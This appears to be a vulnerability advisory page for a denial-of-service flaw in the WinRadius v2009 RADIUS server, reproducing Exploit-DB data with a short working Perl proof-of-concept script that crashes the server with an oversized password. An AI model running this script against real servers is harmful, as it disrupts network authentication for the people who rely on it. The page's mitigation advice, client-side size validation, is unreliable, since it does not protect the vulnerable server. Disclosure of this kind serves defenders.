WinRadius Server Denial Of Service Vulnerability

vendor:

WinRadius

by:

demonalex/ChaoYi.Huang

CVSS

MEDIUM

Denial Of Service

N/A

CWE

Product Name: WinRadius

Affected Version From: v2009

Affected Version To: v2009

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2012

WinRadius Server Denial Of Service Vulnerability

WinRadius is a standard RADIUS server for network authentication, accounting. It's easy to use, and can be used for telecommunication accounting platform, PPP authentication, accounting server. It support PPP, PPPoE, PPTP, VPN, VoIP, ADSL, Cable Modem, CDMA, GSM, GPRS, WLAN(802.1x), etc. WinRadius server would bind udp port 1812 and 1813, but it does not validate the password option size leading to a Denial Of Service flaw while sending more than 240 characters to it.

Mitigation:

Validate the password option size before sending it to the server.

Source

Exploit-DB raw data:

Title: WinRadius Server Denial Of Service Vulnerability
Software : WinRadius

Software Version : v2009

Vendor: http://www.elite-school.com/saas/WinRadius/

Vulnerability Published : 2012-05-27

Vulnerability Update Time :

Status : 

Impact : Medium(CVSS2 Base : 5.0, AV:N/AC:L/Au:N/C:N/I:N/A:P)

Bug Description :
WinRadius is a standard RADIUS server for network authentication, accounting. It's easy to use, and can be used for telecommunication accounting platform, PPP authentication, accounting server. It support PPP, PPPoE, PPTP, VPN, VoIP, ADSL, Cable Modem, CDMA, GSM, GPRS, WLAN(802.1x), etc.
WinRadius server would bind udp port 1812 and 1813, but it does not validate the password option size leading to a Denial Of Service flaw while sending more than 240 characters to it.

Proof Of Concept :
-----------------------------------------------------------
#!/usr/bin/perl
use Authen::Simple::RADIUS;
$|=1;
$host=shift || die "usage: $0 host\n";
print "Launch Attack ... \n";
$username=int(rand(10)).int(rand(10)).int(rand(10));
$password='A'x241;
$secret=int(rand(10)).int(rand(10)).int(rand(10));
$radius = Authen::Simple::RADIUS->new(
   host   => $host,
   secret => $secret
);
$radius->authenticate( $username, $password );
print "Finish!\n";
exit(1);
-----------------------------------------------------------

Credits : This vulnerability was discovered by demonalex(at)163(dot)com
mail: demonalex(at)163(dot)com / ChaoYi.Huang@connect.polyu.hk
Pentester/Researcher
Dark2S Security Team/PolyU.HK